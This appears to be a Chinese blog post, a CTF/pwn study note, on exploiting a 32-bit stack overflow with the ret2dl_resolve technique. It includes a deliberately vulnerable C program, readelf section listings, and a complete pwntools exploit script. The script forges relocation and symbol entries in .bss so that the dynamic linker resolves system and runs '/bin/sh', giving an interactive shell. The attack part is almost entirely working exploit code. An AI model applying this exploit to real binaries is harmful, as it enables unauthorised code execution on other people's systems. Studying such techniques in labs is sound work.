【Pwn 笔记】简单记如何利用 Ret2_dl_resolve

原理太绕了,我先写写如何利用吧

本题以一道 C 程序为例,程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
//gcc dl.c -fno-stack-protector -m32 -o dl
#include <unistd.h>
#include <string.h>
char gift[0x200];
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}

编译好程序后,我们可以利用readelf -S ./dl命令来查看我们需要的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
共有 31 个节头,从偏移量 0x1804 开始:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 6 1 4
[ 6] .dynstr STRTAB 0804821c 00021c 00004a 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048266 000266 00000a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048270 000270 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048290 000290 000008 08 A 5 0 4
[10] .rel.plt REL 08048298 000298 000010 08 AI 5 24 4
[11] .init PROGBITS 080482a8 0002a8 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482d0 0002d0 000030 04 AX 0 0 16
[13] .plt.got PROGBITS 08048300 000300 000008 00 AX 0 0 8
[14] .text PROGBITS 08048310 000310 0001a2 00 AX 0 0 16
[15] .fini PROGBITS 080484b4 0004b4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080484c8 0004c8 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 080484d0 0004d0 000034 00 A 0 0 4
[18] .eh_frame PROGBITS 08048504 000504 0000ec 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000014 04 WA 0 0 4
[25] .data PROGBITS 0804a014 001014 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a020 00101c 000220 00 WA 0 0 32
[27] .comment PROGBITS 00000000 00101c 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0016f7 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001054 000470 10 30 47 4
[30] .strtab STRTAB 00000000 0014c4 000233 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

程序主流程大概是这样的:

1
dl_indexbase(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)

给出利用脚本如下,多调试,不是死写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level="debug"
if debug == 1:
p = process('./dl')
else:
p = remote('', )
elf = ELF('./dl', checksec=False)
got_read = elf.got['read']
plt_read = elf.plt['read']
addr_fun = elf.sym['fun']
addr_bss = elf.bss(0x20)

addr_rel_plt = 0x08048298 # .rel.plt
addr_dynsym = 0x080481cc # .dynsym
addr_dynstr = 0x0804821c # .dynstr
addr_plt_0 = 0x080482d0 # .plt


# 伪造地址和 .rel.plt 地址的差值,固定写法
dl_indexbase = addr_bss - addr_rel_plt
# 伪造地址和 .dynsym 的差值,这里 0xc 是变量
dl_index_dynsym = (addr_bss + 0xc - addr_dynsym) / 0x10
# 需要过 ELF32_R_TYPE(r_info) = 7,固定写法
dl_r_info = (dl_index_dynsym << 8) | 7
# 伪造地址和 .dynstr 的差值,这里 0x1c 是变量,
dl_st_name = addr_bss + 0x1c - addr_dynstr

pd = 'a' * 0x2c
pd += p32(plt_read) # 调用 plt_read 读取数据
pd += p32(addr_fun) # 返回地址
pd += p32(0) # 标准输入的 fd
pd += p32(addr_bss) # 写入的地址,一般都是 bss 段
pd += p32(0x100) # 写入字符串的个数,看情况,随便写
p.send(pd)

success('dl_indexbase = ' + hex(dl_indexbase))
success('dl_index_dynsym = ' + hex(dl_index_dynsym))
success('dl_r_info = ' + hex(dl_r_info))
success('dl_st_name = ' + hex(dl_st_name))
# gdb.attach(p, "b *0x8048429\nc" + "\nsi" * 68)
pd = p32(got_read) # 要修改的 got 表函数和 dl_r_info 是放在一起的
pd += p32(dl_r_info)
# 用来凑字数的
pd += p32(0)
# 通过 dl_index_dynsym 加上 0x10 * (dl_r_info >> 8) 而确定的 dl_st_name 地址
# 这里 0x10 是常量,上面的 p32(0) 只是为了凑地址而已
pd += p32(dl_st_name)
# 这里两个 p32(0) 和一个 p32(12) 是固定写法,要紧挨着写在 dl_st_name 的后面,原理如下:
# st_bind = 0×1 # 含义见上文符号绑定信息
# st_type = 0x2 # 含义见上文符号类型
# st_info = (st_bind << 4) + (st_type & 0xf)
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) #真正用到的是 st_name 和 st_info
pd += p32(0) * 2
pd += p32(12)
# 这里就是通过 addr_dynstr 加上 dl_st_name 所对应的函数字符串地址
pd += 'system\x00\x00'
# 被下方返回地址后所填写的参数地址引用
pd += '/bin/sh\x00'
p.send(pd)
sleep(1) # 调试的时候需要加 sleep 函数使调试正常运作

pd = 'a' * 0x2c
pd += p32(addr_plt_0) # 要改 dl 链接过程,要先写 plt_0,固定写法
pd += p32(dl_indexbase) # 然后写伪造的 dl 信息的基地址,固定写法
pd += p32(addr_fun) # 返回地址
pd += p32(addr_bss + 9 * 4) # arg[0] 也是字符串 /bin/sh 的地址,即改完后的函数参数
p.sendline(pd)
p.interactive()
文章目录
|